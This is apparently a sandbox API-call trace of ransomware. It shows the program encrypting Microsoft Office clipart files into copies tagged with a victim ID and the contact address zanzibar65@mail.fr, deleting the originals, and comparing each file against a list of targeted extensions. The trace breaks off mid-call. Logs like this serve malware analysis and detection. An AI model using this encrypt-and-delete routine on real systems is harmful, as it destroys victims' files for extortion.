1 [0051.261] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0051.262] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.262] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.262] SetEndOfFile (hFile=0x21c) returned 1 [0051.262] CloseHandle (hObject=0x21c) returned 1 [0051.262] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.262] SetEndOfFile (hFile=0x20c) returned 1 [0051.263] CloseHandle (hObject=0x20c) returned 1 [0051.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0051.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0051.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0051.263] lstrlenW (lpString=".doc") returned 4 [0051.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.263] lstrlenW (lpString=".docx") returned 5 [0051.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.264] lstrlenW (lpString=".pdf") returned 4 [0051.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.264] lstrlenW (lpString=".xls") returned 4 [0051.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.264] lstrlenW (lpString=".xlsx") returned 5 [0051.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.264] lstrlenW (lpString=".ppt") returned 4 [0051.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0051.264] lstrlenW (lpString=".zip") returned 4 [0051.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.264] lstrlenW (lpString=".rar") returned 4 [0051.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.264] lstrlenW (lpString=".bz2") returned 4 [0051.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.264] lstrlenW (lpString=".7z") returned 3 [0051.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0051.264] lstrlenW (lpString=".dbf") returned 4 [0051.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0051.264] lstrlenW (lpString=".1cd") returned 4 [0051.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0051.264] lstrlenW (lpString=".jpg") returned 4 [0051.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.264] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2756) returned 1 [0051.265] CloseHandle (hObject=0x20c) returned 1 [0051.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0051.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.265] GetLastError () returned 0x0 [0051.265] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xac4, lpOverlapped=0x0) returned 1 [0051.267] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0051.267] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.268] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.268] SetEndOfFile (hFile=0x21c) returned 1 [0051.268] CloseHandle (hObject=0x21c) returned 1 [0051.268] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.268] SetEndOfFile (hFile=0x20c) returned 1 [0051.269] CloseHandle (hObject=0x20c) returned 1 [0051.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0051.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0051.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0051.269] lstrlenW (lpString=".doc") returned 4 [0051.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.269] lstrlenW (lpString=".docx") returned 5 [0051.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.269] lstrlenW (lpString=".pdf") returned 4 [0051.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.269] lstrlenW (lpString=".xls") returned 4 [0051.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.270] lstrlenW (lpString=".xlsx") returned 5 [0051.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.270] lstrlenW (lpString=".ppt") returned 4 [0051.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0051.270] lstrlenW (lpString=".zip") returned 4 [0051.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.270] lstrlenW (lpString=".rar") returned 4 [0051.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.270] lstrlenW (lpString=".bz2") returned 4 [0051.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.270] lstrlenW (lpString=".7z") returned 3 [0051.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0051.270] lstrlenW (lpString=".dbf") returned 4 [0051.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0051.270] lstrlenW (lpString=".1cd") returned 4 [0051.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0051.270] lstrlenW (lpString=".jpg") returned 4 [0051.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.270] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=7372) returned 1 [0051.270] CloseHandle (hObject=0x20c) returned 1 [0051.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0051.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.271] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.271] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.271] GetLastError () returned 0x0 [0051.271] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0052.336] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0052.337] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.337] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.337] SetEndOfFile (hFile=0x21c) returned 1 [0052.592] CloseHandle (hObject=0x21c) returned 1 [0052.592] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.592] SetEndOfFile (hFile=0x20c) returned 1 [0052.593] CloseHandle (hObject=0x20c) returned 1 [0052.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0052.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.837] lstrlenW (lpString=".doc") returned 4 [0052.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.837] lstrlenW (lpString=".docx") returned 5 [0052.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.837] lstrlenW (lpString=".pdf") returned 4 [0052.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.837] lstrlenW (lpString=".xls") returned 4 [0052.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.837] lstrlenW (lpString=".xlsx") returned 5 [0052.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.837] lstrlenW (lpString=".ppt") returned 4 [0052.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.838] lstrlenW (lpString=".zip") returned 4 [0052.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.838] lstrlenW (lpString=".rar") returned 4 [0052.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.838] lstrlenW (lpString=".bz2") returned 4 [0052.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.838] lstrlenW (lpString=".7z") returned 3 [0052.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.839] lstrlenW (lpString=".dbf") returned 4 [0052.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.839] lstrlenW (lpString=".1cd") returned 4 [0052.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.839] lstrlenW (lpString=".jpg") returned 4 [0052.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.080] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.080] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.081] GetLastError () returned 0x0 [0054.081] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0054.085] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0054.086] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.086] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.087] SetEndOfFile (hFile=0x23c) returned 1 [0054.087] CloseHandle (hObject=0x23c) returned 1 [0054.087] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.087] SetEndOfFile (hFile=0x238) returned 1 [0054.096] CloseHandle (hObject=0x238) returned 1 [0054.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0054.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0054.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0054.096] lstrlenW (lpString=".doc") returned 4 [0054.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.096] lstrlenW (lpString=".docx") returned 5 [0054.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.097] lstrlenW (lpString=".pdf") returned 4 [0054.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.097] lstrlenW (lpString=".xls") returned 4 [0054.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.097] lstrlenW (lpString=".xlsx") returned 5 [0054.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.097] lstrlenW (lpString=".ppt") returned 4 [0054.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0054.097] lstrlenW (lpString=".zip") returned 4 [0054.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.097] lstrlenW (lpString=".rar") returned 4 [0054.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.097] lstrlenW (lpString=".bz2") returned 4 [0054.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.097] lstrlenW (lpString=".7z") returned 3 [0054.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0054.097] lstrlenW (lpString=".dbf") returned 4 [0054.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0054.097] lstrlenW (lpString=".1cd") returned 4 [0054.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0054.097] lstrlenW (lpString=".jpg") returned 4 [0054.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.098] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2016) returned 1 [0054.098] CloseHandle (hObject=0x238) returned 1 [0054.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0054.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.098] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.098] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.098] GetLastError () returned 0x0 [0054.098] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0054.100] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0054.101] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.101] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.101] SetEndOfFile (hFile=0x23c) returned 1 [0054.101] CloseHandle (hObject=0x23c) returned 1 [0054.101] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.102] SetEndOfFile (hFile=0x238) returned 1 [0054.102] CloseHandle (hObject=0x238) returned 1 [0054.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0054.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0054.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0054.103] lstrlenW (lpString=".doc") returned 4 [0054.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.103] lstrlenW (lpString=".docx") returned 5 [0054.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.103] lstrlenW (lpString=".pdf") returned 4 [0054.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.103] lstrlenW (lpString=".xls") returned 4 [0054.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.103] lstrlenW (lpString=".xlsx") returned 5 [0054.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.103] lstrlenW (lpString=".ppt") returned 4 [0054.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0054.103] lstrlenW (lpString=".zip") returned 4 [0054.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.103] lstrlenW (lpString=".rar") returned 4 [0054.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.103] lstrlenW (lpString=".bz2") returned 4 [0054.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.103] lstrlenW (lpString=".7z") returned 3 [0054.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0054.103] lstrlenW (lpString=".dbf") returned 4 [0054.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0054.104] lstrlenW (lpString=".1cd") returned 4 [0054.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0054.104] lstrlenW (lpString=".jpg") returned 4 [0054.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.105] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.105] SetFilePointerEx (in: hFile=0x238, 